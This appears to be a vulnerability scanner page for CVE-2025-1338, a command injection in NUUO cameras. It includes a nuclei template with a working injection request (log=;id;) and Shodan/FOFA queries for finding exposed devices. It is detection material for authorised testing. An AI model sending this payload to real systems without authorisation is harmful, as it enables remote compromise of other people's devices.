NUUO Camera <=20250203 - OS Command Injection

criticalseverity

51.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

NUUO Camera up to 20250203 contains a command injection caused by manipulation of the 'log' argument in /handle_config.php, letting remote attackers execute arbitrary commands, exploit requires remote access.

Impact

Remote attackers can execute arbitrary commands on the system, potentially leading to full system compromise.

Fix

Update to the latest version of NUUO Camera or apply security patches provided by the vendor.

How to confirm it

Send: GET /handle_config.php?log=;id;
Positive when: status_code == 200 and contains_all(body, "/mtd/block4/log/", "uid=", "gid=")

Run it with nuclei: nuclei -id CVE-2025-1338 -u <target>

The full check

id: CVE-2025-1338

info:
  name: NUUO Camera <=20250203 - OS Command Injection
  author: Ark
  severity: critical
  description: |
    NUUO Camera up to 20250203 contains a command injection caused by manipulation of the 'log' argument in /handle_config.php, letting remote attackers execute arbitrary commands, exploit requires remote access.
  impact: |
    Remote attackers can execute arbitrary commands on the system, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of NUUO Camera or apply security patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1338
    - https://github.com/advisories/GHSA-vw58-vgp6-39qx
    - https://dbugs.ptsecurity.com/vulnerability/CVE-2025-1338
  classification:
    cve-id: CVE-2025-1338
    epss-score: 0.51116
    epss-percentile: 0.98943
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"Network Video Recorder Login"
    fofa-query: title="Network Video Recorder Login" || body="www.nuuo.com"
  tags: cve,cve2025,nuuo,camera,rce,cmdi,intrusive,vkev

http:
  - raw:
      - |
        GET /handle_config.php?log=;id; HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "/mtd/block4/log/", "uid=", "gid=")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from